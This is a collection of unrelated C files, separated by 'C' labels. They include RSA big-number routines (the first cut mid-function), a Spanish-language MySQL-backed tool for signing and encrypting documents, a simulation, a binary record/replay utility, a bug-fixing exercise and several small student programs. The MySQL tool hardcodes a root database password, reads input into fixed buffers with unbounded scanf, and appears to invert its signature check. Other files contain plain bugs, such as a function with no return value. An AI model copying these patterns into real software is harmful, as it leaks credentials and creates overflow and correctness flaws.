NN_DIGIT_BITS; i++, a >>= 1) if (a == 0) break; return (i); } /* Computes a = c div d and b = c mod d. Lengths: a[cDigits], b[dDigits], c[cDigits], d[dDigits]. Assumes d > 0, cDigits < 2 * MAX_NN_DIGITS, dDigits < MAX_NN_DIGITS. */ void NN_Div (a, b, c, cDigits, d, dDigits) NN_DIGIT *a, *b, *c, *d; unsigned int cDigits, dDigits; { NN_DIGIT ai, cc[2*MAX_NN_DIGITS+1], dd[MAX_NN_DIGITS], s; NN_DIGIT t[2], u, v, *ccptr; NN_HALF_DIGIT aHigh, aLow, cHigh, cLow; int i; unsigned int ddDigits, shift; ddDigits = NN_Digits (d, dDigits); if(ddDigits == 0) return; shift = NN_DIGIT_BITS - NN_DigitBits (d[ddDigits-1]); NN_AssignZero (cc, ddDigits); cc[cDigits] = NN_LShift (cc, c, shift, cDigits); NN_LShift (dd, d, shift, ddDigits); s = dd[ddDigits-1]; NN_AssignZero (a, cDigits); for (i = cDigits-ddDigits; i >= 0; i--) { if (s == MAX_NN_DIGIT) ai = cc[i+ddDigits]; else { ccptr = &cc[i+ddDigits-1]; s++; cHigh = (NN_HALF_DIGIT)HIGH_HALF (s); cLow = (NN_HALF_DIGIT)LOW_HALF (s); *t = *ccptr; *(t+1) = *(ccptr+1); if (cHigh == MAX_NN_HALF_DIGIT) aHigh = (NN_HALF_DIGIT)HIGH_HALF (*(t+1)); else aHigh = (NN_HALF_DIGIT)(*(t+1) / (cHigh + 1)); u = (NN_DIGIT)aHigh * (NN_DIGIT)cLow; v = (NN_DIGIT)aHigh * (NN_DIGIT)cHigh; if ((*t -= TO_HIGH_HALF (u)) > (MAX_NN_DIGIT - TO_HIGH_HALF (u))) t[1]--; *(t+1) -= HIGH_HALF (u); *(t+1) -= v; while ((*(t+1) > cHigh) || ((*(t+1) == cHigh) && (*t >= TO_HIGH_HALF (cLow)))) { if ((*t -= TO_HIGH_HALF (cLow)) > MAX_NN_DIGIT - TO_HIGH_HALF (cLow)) t[1]--; *(t+1) -= cHigh; aHigh++; } if (cHigh == MAX_NN_HALF_DIGIT) aLow = (NN_HALF_DIGIT)LOW_HALF (*(t+1)); else aLow = (NN_HALF_DIGIT)((TO_HIGH_HALF (*(t+1)) + HIGH_HALF (*t)) / (cHigh + 1)); u = (NN_DIGIT)aLow * (NN_DIGIT)cLow; v = (NN_DIGIT)aLow * (NN_DIGIT)cHigh; if ((*t -= u) > (MAX_NN_DIGIT - u)) t[1]--; if ((*t -= TO_HIGH_HALF (v)) > (MAX_NN_DIGIT - TO_HIGH_HALF (v))) t[1]--; *(t+1) -= HIGH_HALF (v); while ((*(t+1) > 0) || ((*(t+1) == 0) && *t >= s)) { if ((*t -= s) > (MAX_NN_DIGIT - s)) t[1]--; aLow++; } ai = TO_HIGH_HALF (aHigh) + aLow; s--; } cc[i+ddDigits] -= subdigitmult(&cc[i], &cc[i], ai, dd, ddDigits); while (cc[i+ddDigits] || (NN_Cmp (&cc[i], dd, ddDigits) >= 0)) { ai++; cc[i+ddDigits] -= NN_Sub (&cc[i], &cc[i], dd, ddDigits); } a[i] = ai; } NN_AssignZero (b, dDigits); NN_RShift (b, cc, shift, ddDigits); R_memset ((POINTER)cc, 0, sizeof (cc)); R_memset ((POINTER)dd, 0, sizeof (dd)); } /* Computes a = b mod c. Lengths: a[cDigits], b[bDigits], c[cDigits]. Assumes c > 0, bDigits < 2 * MAX_NN_DIGITS, cDigits < MAX_NN_DIGITS. */ void NN_Mod (a, b, bDigits, c, cDigits) NN_DIGIT *a, *b, *c; unsigned int bDigits, cDigits; { NN_DIGIT t[2 * MAX_NN_DIGITS]; NN_Div (t, a, b, bDigits, c, cDigits); /* Zeroize potentially sensitive information. */ R_memset ((POINTER)t, 0, sizeof (t)); } /* Computes a = b * c. Lengths: a[2*digits], b[digits], c[digits]. Assumes digits < MAX_NN_DIGITS. */ void NN_Mult (a, b, c, digits) NN_DIGIT *a, *b, *c; unsigned int digits; { NN_DIGIT t[2*MAX_NN_DIGITS]; NN_DIGIT dhigh, dlow, carry; unsigned int bDigits, cDigits, i, j; NN_AssignZero (t, 2 * digits); bDigits = NN_Digits (b, digits); cDigits = NN_Digits (c, digits); for (i = 0; i < bDigits; i++) { carry = 0; if(*(b+i) != 0) { for(j = 0; j < cDigits; j++) { dmult(*(b+i), *(c+j), &dhigh, &dlow); if((*(t+(i+j)) = *(t+(i+j)) + carry) < carry) carry = 1; else carry = 0; if((*(t+(i+j)) += dlow) < dlow) carry++; carry += dhigh; } } *(t+(i+cDigits)) += carry; } NN_Assign(a, t, 2 * digits); /* Clear sensitive information. */ R_memset((POINTER)t, 0, sizeof (t)); } /* Computes a = b * c mod d. Lengths: a[digits], b[digits], c[digits], d[digits]. Assumes d > 0, digits < MAX_NN_DIGITS. */ void NN_ModMult (a, b, c, d, digits) NN_DIGIT *a, *b, *c, *d; unsigned int digits; { NN_DIGIT t[2*MAX_NN_DIGITS]; NN_Mult (t, b, c, digits); NN_Mod (a, t, 2 * digits, d, digits); /* Zeroize potentially sensitive information. */ R_memset ((POINTER)t, 0, sizeof (t)); } /* Returns the significant length of a in digits. */ unsigned int NN_Digits (a, digits) NN_DIGIT *a; unsigned int digits; { if(digits) { digits--; do { if(*(a+digits)) break; }while(digits--); return(digits + 1); } return(digits); } /* Decodes character string b into a, where character string is ordered from most to least significant. Lengths: a[digits], b[len]. Assumes b[i] = 0 for i < len - digits * NN_DIGIT_LEN. (Otherwise most significant bytes are truncated.) */ void NN_Decode (a, digits, b, len) NN_DIGIT *a; unsigned char *b; unsigned int digits, len; { NN_DIGIT t; int j; unsigned int i, u; for (i = 0, j = len - 1; i < digits && j >= 0; i++) { t = 0; for (u = 0; j >= 0 && u < NN_DIGIT_BITS; j--, u += 8) t |= ((NN_DIGIT)b[j]) << u; a[i] = t; } for (; i < digits; i++) a[i] = 0; } /* Encodes b into character string a, where character string is ordered from most to least significant. Lengths: a[len], b[digits]. Assumes NN_Bits (b, digits) <= 8 * len. (Otherwise most significant digits are truncated.) */ void NN_Encode (a, len, b, digits) NN_DIGIT *b; unsigned char *a; unsigned int digits, len; { NN_DIGIT t; int j; unsigned int i, u; for (i = 0, j = len - 1; i < digits && j >= 0; i++) { t = b[i]; for (u = 0; j >= 0 && u < NN_DIGIT_BITS; j--, u += 8) a[j] = (unsigned char)(t >> u); } for (; j >= 0; j--) a[j] = 0; } /* Computes a = b^c mod d. Lengths: a[dDigits], b[dDigits], c[cDigits], d[dDigits]. Assumes d > 0, cDigits > 0, dDigits < MAX_NN_DIGITS. */ void NN_ModExp (a, b, c, cDigits, d, dDigits) NN_DIGIT *a, *b, *c, *d; unsigned int cDigits, dDigits; { NN_DIGIT bPower[3][MAX_NN_DIGITS], ci, t[MAX_NN_DIGITS]; int i; unsigned int ciBits, j, s; /* Store b, b^2 mod d, and b^3 mod d. */ NN_Assign (bPower[0], b, dDigits); NN_ModMult (bPower[1], bPower[0], b, d, dDigits); NN_ModMult (bPower[2], bPower[1], b, d, dDigits); NN_ASSIGN_DIGIT (t, 1, dDigits); cDigits = NN_Digits (c, cDigits); for (i = cDigits - 1; i >= 0; i--) { ci = c[i]; ciBits = NN_DIGIT_BITS; /* Scan past leading zero bits of most significant digit. */ if (i == (int)(cDigits - 1)) { while (! DIGIT_2MSB (ci)) { ci <<= 2; ciBits -= 2; } } for (j = 0; j < ciBits; j += 2, ci <<= 2) { /* Compute t = t^4 * b^s mod d, where s = two MSB's of ci. */ NN_ModMult (t, t, t, d, dDigits); NN_ModMult (t, t, t, d, dDigits); if ((s = DIGIT_2MSB (ci)) != 0) NN_ModMult (t, t, bPower[s-1], d, dDigits); } } NN_Assign (a, t, dDigits); /* Zeroize potentially sensitive information. */ R_memset ((POINTER)bPower, 0, sizeof (bPower)); R_memset ((POINTER)t, 0, sizeof (t)); } /* Raw RSA public-key operation. Output has same length as modulus. Requires input < modulus. */ int rsapublicfunc(output, outputLen, input, inputLen, publicKey) unsigned char *output; /* output block */ unsigned int *outputLen; /* length of output block */ unsigned char *input; /* input block */ unsigned int inputLen; /* length of input block */ R_RSA_PUBLIC_KEY *publicKey; /* RSA public key */ { NN_DIGIT c[MAX_NN_DIGITS], e[MAX_NN_DIGITS], m[MAX_NN_DIGITS], n[MAX_NN_DIGITS]; unsigned int eDigits, nDigits,a; /* decode the required RSA function input data */ NN_Decode(m, MAX_NN_DIGITS, input, inputLen); NN_Decode(n, MAX_NN_DIGITS, publicKey->modulus, MAX_RSA_MODULUS_LEN); NN_Decode(e, MAX_NN_DIGITS, publicKey->exponent, MAX_RSA_MODULUS_LEN); nDigits = NN_Digits(n, MAX_NN_DIGITS); eDigits = NN_Digits(e, MAX_NN_DIGITS); if(NN_Cmp(m, n, nDigits) >= 0) return(RE_DATA); *outputLen = (publicKey->bits + 7) / 8; /* Compute c = m^e mod n. To perform actual RSA calc.*/ NN_ModExp (c, m, e, eDigits, n, nDigits); /* encode output to standard form */ NN_Encode (output, *outputLen, c, nDigits); /* Clear sensitive information. */ R_memset((POINTER)c, 0, sizeof(c)); R_memset((POINTER)m, 0, sizeof(m)); return(IDOK); }
C
#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <inttypes.h> #include <time.h> #include <string.h> #include "counterMode.h" #include "signatureGAMAL.h" #include "User.h" #include "FileCipherWithDES.h" #include "ElgamalSignature.h" extern User user; void managementKeys(){ system("clear"); List list=getUserPublicKey(); UserPublicKey userPublicKey; printf("|%30s|%12s|%12s|%12s|\n","nombre de usuario","numero primo","generador","YA"); while(list.head!=NULL){ userPublicKey=*((UserPublicKey *)list.head->data); printf("|%30s|%12u|%12u|%12u|\n",userPublicKey.nameUser,userPublicKey.publicKey.primeNumber,userPublicKey.publicKey.generator,userPublicKey.publicKey.ya); list.head=list.head->next; } getchar(); } void addSignature(){ system("clear"); ElgamalSignature elgamalSignature; char pathInFile[PATH_LEN]; printf("Porfavor ingrese el path del archivo a firmar: "); scanf("%s",pathInFile); getchar(); elgamalSignature=signatureGAMAL(pathInFile); //falta un if //printf("Error al firmar el archivo %s porfavor vuelva a intentarlo\n",pathInFile); // return ; // } printf("Archivo %s firmado correctamente\nLlave publica generada:\nnumero primo: %u\ngenerador: %u\nYA: %u\n",pathInFile,elgamalSignature.publicKey.primeNumber,elgamalSignature.publicKey.generator,elgamalSignature.publicKey.ya); getchar(); } void encryptDocument(){ system("clear"); char pathInFile[PATH_LEN],pathOutFile[PATH_LEN]; printf("Porfavor ingrese el path del archivo a cifrar: "); scanf("%s",pathInFile); getchar(); printf("Porfavor ingrese el path del archivo que desea como salida: "); scanf("%s",pathOutFile); getchar(); if(cipher(pathInFile,pathOutFile)<0){ printf("Error al cifrar el archivo %s porfavor vuelva a intentarlo\n",pathInFile); getchar(); return ; } printf("Archivo %s cifrado correctamente y salvado como %s\n",pathInFile,pathOutFile); getchar(); } void addSignatureAndCipherDocument(){ system("clear"); char pathInFile[PATH_LEN],pathOutFile[PATH_LEN]; printf("Porfavor ingrese el path del archivo a firmar y cifrar: "); scanf("%s",pathInFile); getchar(); printf("Porfavor ingrese el path del archivo que desea como salida: "); scanf("%s",pathOutFile); getchar(); ElgamalSignature elgamalSignature=signatureGAMAL(pathInFile); //falta un if si falla lo de arriva!!! // if(signatureGAMAL(pathInFile)<0){ // printf("Error al firmar el archivo %s porfavor vuelva a intentarlo\n",pathInFile); // return ; // } printf("Archivo %s firmado correctamente\nLlave publica generada:\nnumero primo: %u\ngenerador: %u\nYA: %u\n",pathInFile,elgamalSignature.publicKey.primeNumber,elgamalSignature.publicKey.generator,elgamalSignature.publicKey.ya); if(cipher(pathInFile,pathOutFile)<0){ printf("Error al cifrar el archivo %s porfavor vuelva a intentarlo (solo la opcion de cifrar ya que si fue firmado)\n",pathInFile); getchar(); return ; } printf("Archivo %s firmado y cifrado correctamente y salvado como %s\n",pathInFile,pathOutFile); getchar(); } void verifySignarute(){ system("clear"); char pathFile[PATH_LEN]; printf("Porfavor ingrese el path del archivo a verificar firmar: "); scanf("%s",pathFile); getchar(); if(verifySignatureGAMAL(pathFile)>=0){ printf("Error el archivo %s no corresponde con los datos de la persona que lo firmo\n",pathFile); getchar(); return ; } printf("La firma del archivo %s corresponde con los datos de la persona que lo firmo\n",pathFile); getchar(); } void decryptDocument(){ system("clear"); char pathInFile[PATH_LEN],pathOutFile[PATH_LEN]; printf("Porfavor ingrese el path del archivo a desifrar: "); scanf("%s",pathInFile); getchar(); printf("Porfavor ingrese el path del archivo que desea como salida: "); scanf("%s",pathOutFile); getchar(); if(descipher(pathInFile,pathOutFile)<0){ printf("Error al decifrar el archivo %s al paracer no fue cifrado con este sistema\n",pathInFile); getchar(); return ; } printf("Archivo %s decifrado correctamente\n",pathInFile); /*if(wasSignature()==0){ printf("El archivo %s fue firmado se procede a verficar la firma\n",pathInFile); if(verifySignatureGAMAL(pathOutFile)==0){ printf("Error la firma del archivo no corresponde con los datos de la persona que lo firmo\n"); return ; } printf("La firma corresponde con los datos de la persona que lo firmo\n"); }*/ getchar(); } void menu2(){ short option; system("clear"); printf("\t\t\tBienbenido %s te estabamos esperando :D\n",user.name); sleep(1); do{ system("clear"); printf("Elije una opcion\n\t1 Administracion de llaves\n\t2 Agregar firma a un documento\n\t3 Cifrar documento\n\t4 Agregar firma a un documento y cifrarlo\n\t5 Descifrar un documento\n\t6 Verificar firma\n\t-1 Salir\n"); scanf("%hd",&option); getchar(); switch(option){ case 1: managementKeys(); break; case 2: addSignature(); break; case 3: encryptDocument(); break; case 4: addSignatureAndCipherDocument(); break; case 5: decryptDocument(); break; case 6: verifySignarute(); break; case -1: printf("\t\tvuelve pronto %s\n",user.name); break; default: printf("%hd Esta no es una opcion\n",option); } }while(option!=-1); } void registerUser(){ system("clear"); printf("\t\tIngresa los siguientes datos\n"); printf("Nombre (30 caracteres maximo): "); fgets(&(user.name[0]),LENGHTNAME,stdin); printf("Boleta: (10 caracteres maximo): "); scanf("%s",&(user.id[0])); getchar(); user.name[strlen(user.name)-1]='\0';//remove jump of line (\n) if(insertUser(user)==-1){ fprintf(stderr,"Error no se pudo registrar el usuario %s con id %s\n%s\n",user.name,user.id,mysql_error(connection)); return; } printf("\n\t\t\tFelicidades as sido registrado exitosamente %s con boleta %s\n\n",user.name,user.id); getchar(); } void login(){ system("clear"); char id[LENGHTID+1];//plus one by character end of line printf("ingrese su id (10 caracteres maximo): "); scanf("%s",id); getchar(); user=getUser(id); if(!strcmp(user.name,"000000000000000000000000000000")){//the query failure: CORREGIR ESTO!!! printf("error usuario con id %s no encontrado\n",id); getchar(); return ; } menu2(); } short createDatabase(){ if(startConnection("localhost","root","ayani13711?")==-1){ fprintf(stderr, "Error al conectar con mysql\n%s\n", mysql_error(connection)); return -1; } strcpy(query,"create schema if not exists secureDocuments1;"); if(executeQuery(query)==-1){ fprintf(stderr, "Error al crear el esquema secureDocuments1\n%s\n", mysql_error(connection)); return -2; } selectDatabase("secureDocuments1");//is imposible that failed becuase pass anterior if if(createTableUser()==-1){ fprintf(stderr, "Error al crear la tabla User \n%s\n", mysql_error(connection)); return -3; } if(createTableFileCipherWithDES()==-1){ fprintf(stderr, "Error al crear la tabla FileCipherWithDES\n%s\n", mysql_error(connection)); return -4; } if(createTableElgamalSignature()==-1){ fprintf(stderr, "Error al crear la tabla ElgamalSignature\n%s\n", mysql_error(connection)); return -5; } return 0; } int main(int ari,char **arc){ loadTables("tables.dat"); if(createDatabase()<0){ printf("Lamentamos las fallas con la base de datos solucionaremos esto lo mas pronto posible\n"); return -1; } setNumberLinesOfFileWithPrimeNumbersAndGenerators(getNumberLinesFile(PATHFILEWITHPRIMESANDGENERATORS)); setSeed(time(NULL)); short option; do{ system("clear"); printf("Elije una opcion\n\t1 Registrar\n\t2 Ingresar\n\t-1 Salir\n"); scanf("%hd",&option); getchar(); switch(option){ case 1: registerUser(); break; case 2: login(); break; case -1: printf("\n\t\tHasta luego, gracias por usar el sistema\n"); break; default: printf("%hd Esta no es una opcion\n",option); } }while(option!=-1); return 0; }
C
#include "prelude.h" double G1(double x){ // 0, 1 return sqrt(12)*(x-0.5); } double G2(double x){ // 0, 1 if(x>0){ return -log(x)-1; } else return NAN; } double G3(double x){ // 0, 1 if(x<0) return NAN; double a; if(x<0.5){ a = 2*sqrt(2*x); } else{ a = 2*x+1; } return (12*a-23)/sqrt(71); //标准化 } int main(){ srand(1); int i, j, k, l; int A[3] = {2, 5, 10}; double xi, sum[3]; FILE *fp = fopen("data.txt","w"); if(!fp){ printf("can't open data.txt\n"); exit(0); } for(k=0;k<100000;k++){ for(l=0;l<3;l++){ for(j=0;j<3;j++){ sum[j] = 0; } for(j=0;j<A[l];j++){ xi = randi(); sum[0] += G1(xi); sum[1] += G2(xi); sum[2] += G3(xi); } for(i=0;i<3;i++){ sum[i] /= sqrt(j); } fprintf(fp, "%lf\t%lf\t%lf\t", sum[0], sum[1], sum[2]); } fseek(fp, -1L, SEEK_CUR); fprintf(fp,"\n"); } }
C
#include <stdio.h> #include <err.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <inttypes.h> #include <math.h> #include <sys/types.h> #include <sys/time.h> #include <time.h> int main(int argc, char* argv[]) { // argv[1]=record/replay argv[2]=file if (argc != 3) { errx(1, "Invalid number of arguments. Try to enter 3 arguments !"); } struct timeval start; gettimeofday(&start, NULL); if (strcmp(argv[1],"record") == 0) { int fd1 = open(argv[2], O_CREAT | O_WRONLY | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd1 == -1) { int olderr = errno; close(fd1); errno = olderr; err(3, "File fail to open !"); } uint16_t messageType; ssize_t read_size_messageType; while ((read_size_messageType = read(0, &messageType, sizeof(messageType))) > 0) { struct timeval end; gettimeofday(&end, NULL); if (write(fd1, &messageType, read_size_messageType) != read_size_messageType ) { int olderr = errno; close(fd1); errno = olderr; err(4, "Record: error while writing message type in the file !"); } uint32_t temp = (uint32_t)((double)((((end.tv_sec * 1000000 + end.tv_usec)-(start.tv_sec * 1000000 + start.tv_usec))/1000000))*1000); if( write(fd1, &temp, sizeof(temp)) == -1) { int olderr = errno; close(fd1); errno = olderr; err(5, "Record: error while writing temp in the file !"); } fprintf(stderr,"[%.3f] ",(double)(((end.tv_sec * 1000000 + end.tv_usec)-(start.tv_sec * 1000000 + start.tv_usec)))/1000000); if (messageType == 0x0001) { fprintf(stderr,"<state> "); uint16_t slots; ssize_t read_size_slots; if ((read_size_slots = read(0, &slots, sizeof(slots))) > 0) { if (write(fd1, &slots, read_size_slots) != read_size_slots ) { int olderr = errno; close(fd1); errno = olderr; err(6, "Record: error while writing slots in the file !"); } uint32_t temperature; ssize_t read_size_temperature; if ((read_size_temperature = read(0, &temperature, sizeof(temperature))) > 0) { if (write(fd1, &temperature, read_size_temperature) != read_size_temperature ) { int olderr = errno; close(fd1); errno = olderr; err(7, "Record: error while writing temperature in the file !"); } float decimalTemperature = ((temperature/100)-273.15); fprintf(stderr,"temp: %.2f°C, ", decimalTemperature); } if (read_size_temperature == -1) { err(8, "Record: failed to read temperature from the stdin !"); } fprintf(stderr,"slots: "); for (int i=1; i<=16; i++) { if ( slots == 1 ) { fprintf(stderr,"%d[ ] ", i); // i[ ] } else if (( slots % 2 ) == 0 ) { fprintf(stderr,"%d[ ] ", i); // i[ ] slots = slots/2; } else if (( slots % 2 ) == 1) { fprintf(stderr,"%d[X] ", i); // i[X] slots = slots/2; } } fprintf(stderr,"\n"); } else if (read_size_slots == -1) { err(9, "Record: failed to read slots from the stdin !"); } } if (messageType == 0x0002) { fprintf(stderr,"<slot text> "); uint8_t slotID; ssize_t read_size_slotID; if ((read_size_slotID = read(0, &slotID, sizeof(slotID))) > 0) { if (write(fd1, &slotID, read_size_slotID) != read_size_slotID ) { int olderr = errno; close(fd1); errno = olderr; err(10, "Record: error while writing slot ID in the file !"); } fprintf(stderr,"slot %d: ", slotID); } else if (read_size_slotID == -1) { err(11, "Record: failed to read slot ID from the stdin !"); } char text[13]; ssize_t read_size_text; if ((read_size_text = read(0, &text, sizeof(text))) > 0) { if (write(fd1, &text, read_size_text) != read_size_text ) { int olderr = errno; close(fd1); errno = olderr; err(12, "Record: error while writing slot text in the file !"); } fprintf(stderr,"%s", text); fprintf(stderr,"\n"); } else if (read_size_text == -1) { err(13, "Record: failed to read text from the stdin!"); } } } if (read_size_messageType == -1) { err(14, "Record: failed to read message type from the stdin !"); } close(fd1); } else if (strcmp(argv[1],"replay") == 0) { uint32_t last_time=0; int fd1 = open(argv[2], O_CREAT | O_RDONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd1 == -1) { int olderr = errno; close(fd1); errno = olderr; err(15, "File fail to open !"); } uint16_t messageType=0; ssize_t read_size_messageType=0; while ((read_size_messageType = read(fd1, &messageType, sizeof(messageType))) > 0) { uint32_t temp; ssize_t read_size_temp; if ((read_size_temp = read(fd1, &temp, sizeof(temp))) > 0) { usleep((temp-last_time)*1000); last_time=temp; } else if (read_size_temp == -1) { err(16, "Replay: failed to read time from the file !"); } struct timeval end; gettimeofday(&end, NULL); if (write(1, &messageType, read_size_messageType) != read_size_messageType ) { int olderr = errno; close(fd1); errno = olderr; err(17, "Replay: error while writing message type in the stdout !"); } fprintf(stderr,"[%.3f] ",(double)(((end.tv_sec * 1000000 + end.tv_usec)-(start.tv_sec * 1000000 + start.tv_usec)))/1000000); if (messageType == 0x0001) { fprintf(stderr,"<state> "); uint16_t slots; ssize_t read_size_slots; if ((read_size_slots = read(fd1, &slots, sizeof(slots))) > 0) { if (write(1, &slots, read_size_slots) != read_size_slots ) { int olderr = errno; close(fd1); errno = olderr; err(18, "Replay: error while writing slots in the stdout !"); } uint32_t temperature; ssize_t read_size_temperature; if ((read_size_temperature = read(fd1, &temperature, sizeof(temperature))) > 0) { if (write(1, &temperature, read_size_temperature) != read_size_temperature ) { int olderr = errno; close(fd1); errno = olderr; err(19, "Replay: error while writing temperature in the stdout !"); } temperature = (double)((temperature/100)-273.15); fprintf(stderr,"temp: %d°C, ", temperature); } else if (read_size_temperature == -1) { err(20, "Replay: failed to read temperature from the file !"); } fprintf(stderr,"slots: "); for (int i=1; i<=16; i++) { if ( slots == 1 ) { fprintf(stderr,"%d[ ] ", i); // i[ ] } else if (( slots % 2 ) == 0 ) { fprintf(stderr,"%d[ ] ", i); // i[ ] slots = slots/2; } else if (( slots % 2 ) == 1) { fprintf(stderr,"%d[X] ", i); // i[X] slots = slots/2; } } fprintf(stderr,"\n"); } else if (read_size_slots == -1) { err(21, "Replay: failed to read slots from the file !"); } } if (messageType == 0x0002) { fprintf(stderr,"<slot text> "); uint8_t slotID; ssize_t read_size_slotID; if ((read_size_slotID = read(fd1, &slotID, sizeof(slotID))) > 0) { if (write(1, &slotID, read_size_slotID) != read_size_slotID ) { int olderr = errno; close(fd1); errno = olderr; err(22, "Replay: error while writing slot ID in the stdout !"); } fprintf(stderr,"slot %d: ", slotID); } else if (read_size_slotID == -1) { err(23, "Replay: failed to read slot ID from the file !"); } char text[13]; ssize_t read_size_text; if ((read_size_text = read(fd1, &text, sizeof(text))) > 0) { if (write(1, &text, read_size_text) != read_size_text ) { int olderr = errno; close(fd1); errno = olderr; err(24, "Replay: error while writing slot text in the stdout !"); } fprintf(stderr,"%s", text); fprintf(stderr,"\n"); } else if (read_size_text == -1) { err(25, "Replay: failed to read slot text from the file !"); } } } if (read_size_messageType == -1) { err(26, "Replay: failed to read message type from the file !"); } close(fd1); } else { errx(2, "Second argument is not valid. Please try to enter: record or replay !"); } exit(0); }
C
//Please add a comment to each lines that has changes and Indicate the changes #include<stdio.h>// changed to ,stdio.h> char main() { char a,b,c; int mx,mi;// changed mx and mi to integers scanf("%d%d%d",&a,&b,&c);// changed %f to %d printf("\t%s\t%s\t%s",a,b,c); if(a>b) { if(a>c) { mx=a; if(b>c) mi=c; else mi=b; } } else if(b>c) { if(b>a) { mx=b; if(a>c) mi=c; else mi=a;// brought down to the next line } } else//Please add a comment to each lines that has changes and Indicate the changes { mx=c; if(a>b) mi=b; else mi=a; } scanf("Largest is %d and smallest is %d",mx,mi);// changed %f to %d and changed positions of mi and mx } //Please add a comment to each lines that has changes and Indicate the changes /* Test Cases Input 1 3 5 7 Output 1 3 5 7 Largest is 7 and smallest is 3 Input 2 7 4 2 Output 2 7 4 2 Largest is 7 and smallest is 2 */
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_printf_converter_hex.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: sungwopa <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/05 14:44:00 by sungwopa #+# #+# */ /* Updated: 2021/07/05 21:13:11 by sungwopa ### ########.fr */ /* */ /* ************************************************************************** */ #include "ft_printf.h" static void adjust_flag(t_printf_flag *f) { if (f->minus || f->precision_exist) f->zero = 0; } static int set_content(va_list ap, t_printf_flag *f, t_printf_content *pc) { unsigned int n; char *base; n = va_arg(ap, unsigned int); if (f->specifier == 'x') base = "0123456789abcdef"; else base = "0123456789ABCDEF"; if (f->precision_exist && f->precision == 0 && n == 0) pc->content = ft_strdup(""); else pc->content = ft_uitoa_base(n, base); if (pc->content == NULL) return (ERROR); pc->content_len = ft_strlen(pc->content); pc->must_content_len = ft_sizet_max(f->precision, pc->content_len); return (SUCCESS); } static int set_res(t_printf_flag *f, t_printf_res *r, t_printf_content *pc) { size_t idx; r->res_len = ft_sizet_max(f->width, pc->must_content_len); r->res = (char *)malloc(sizeof(char) * r->res_len); if (!r->res) return (ERROR); if (f->zero) { ft_memset(r->res, '0', r->res_len); idx = r->res_len - pc->content_len; } else { ft_memset(r->res, ' ', r->res_len); idx = ft_tenary(f->minus, 0, r->res_len - pc->must_content_len); ft_memset(&r->res[idx], '0', pc->must_content_len); idx = idx + pc->must_content_len - pc->content_len; } ft_memcpy(&r->res[idx], pc->content, pc->content_len); return (SUCCESS); } int ft_printf_converter_hex( va_list ap, t_printf_flag *f, t_printf_res *r) { t_printf_content pc; adjust_flag(f); if (set_content(ap, f, &pc) == ERROR) return (ERROR); if (set_res(f, r, &pc) == ERROR) return (ERROR); free(pc.content); return (SUCCESS); }
C
/* * File: structPerso.h * Author: tom * * Created on 1 août 2015, 11:46 */ #ifndef STRUCTPERSO_H #define STRUCTPERSO_H #define TAILLE_SAC 10 #define TAILLE_EQUIP 7 // 1 casque, 1 armure, 1 bottes, 1 collier, 2 anneaux, // 1 arme, 1 carquois struct Objet{ int codeObjet; int modificateur; int estDecouvert; int typeObjet; char id; struct Objet* objSuiv; }Objet; struct Heros { int x; int y; int cash; int odeur; int force; int vie; int vieMax; int armure; int niveau; int etage; int faim; int soif; int agilite; int experience; int precision; struct Objet *sac; struct Objet *equipements[TAILLE_EQUIP]; } Heros; enum { CASQUE_EQ, ARMURE_EQ, BOTTES_EQ, ANNEAU_EQ,COLLIER_EQ, ARME_EQ, CARQUOIS_EQ, CONSOMMABLE }; struct Monstre { int id; int type; int x; int y; int cap; struct Monstre* suiv; int vie; int force; int armure; int agilite; int valeur; int odorat; int precision; }; #endif /* STRUCTPERSO_H */
C
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <limits.h> #include <ctype.h> #include <stdint.h> #define MAXLINELENGTH 1000 typedef union { struct { int32_t offset: 16; uint32_t regB: 3; uint32_t regA: 3; uint32_t opcode: 3; uint32_t empty: 7; } field; int32_t intRepresentation; } bitset; /* Function to convert a decinal number to binary number */ int32_t decimalToBinary(int32_t n) { int32_t remainder; int32_t binary = 0, i = 1; while (n != 0) { remainder = n % 2; n = n / 2; binary = binary + (remainder * i); i = i * 10; } } int32_t main(int32_t argc, char *argv[]) { bitset inst1; inst1.intRepresentation = 16842754; // printf ("opcode = %d\n", inst1.field.opcode); printf ("opcode = %d | %d\n", inst1.field.opcode, decimalToBinary(inst1.field.opcode)); printf("reg A = %d\n", inst1.field.regA); printf("reg B = %d\n", inst1.field.regB); printf("offset = %d\n", inst1.field.offset); return 0; }
C
/* 计算字符串的长度 */ int str_len(const char s[]) { int i = 0; /* 下面的while循环的判断条件不能使用s[i++]!='\0',因为当i==4时,尽管 * s[i++]!='\0'为假,跳出while循环,但是i++还是执行了一次,跳出循环后, * i == 5,即i被多加了一次(假设传进来的字符串是 "tian"). */ while (s[i] != '\0') ++i; /* 因为数组下标是从 0 开始数,所以字符串长度会比数组下标多 1,当 * s[i] == '\0'时,数组下标刚好多加了一次,所以下面直接返回 i 是正确的. */ return i; }
C
#include <stdio.h> int l[300]; int tt(int s1, int e1, int s2, int e2, int limit) { int f[300]; memset(f, 0, sizeof(f)); int i, j, m; for (i = s1; i <= e1; i++) { if (l[i] >= limit) continue; m = 0; for (j = e2; j >= s2; j--) { if (l[j] >= limit) continue; if (l[i] == l[j]) { if (f[m] + 1 > f[j]) { f[j] = f[m] + 1; } } if (l[j] < l[i]) { if (f[j] > f[m]) { m = j; } } } } int max = 0; for (i = e2; i >= s2; i--) { if (f[i] > max) { max = f[i]; } } return max; } int main() { int d, n, i, j, res, r; scanf("%d", &d); while (d--) { scanf("%d", &n); for (i = 1; i <= n; i++) { scanf("%d", &(l[i])); } res = -1; for (i = 1; i <= n; i++) { r = tt(1, i, i+1, n, 10000); if (2 * r > res) { res = 2 * r; } r= tt(1, i-1, i+1, n, l[i]); if (2 * r +1 > res) { res = 2 * r + 1; } } printf("%d\n", res); } }
C
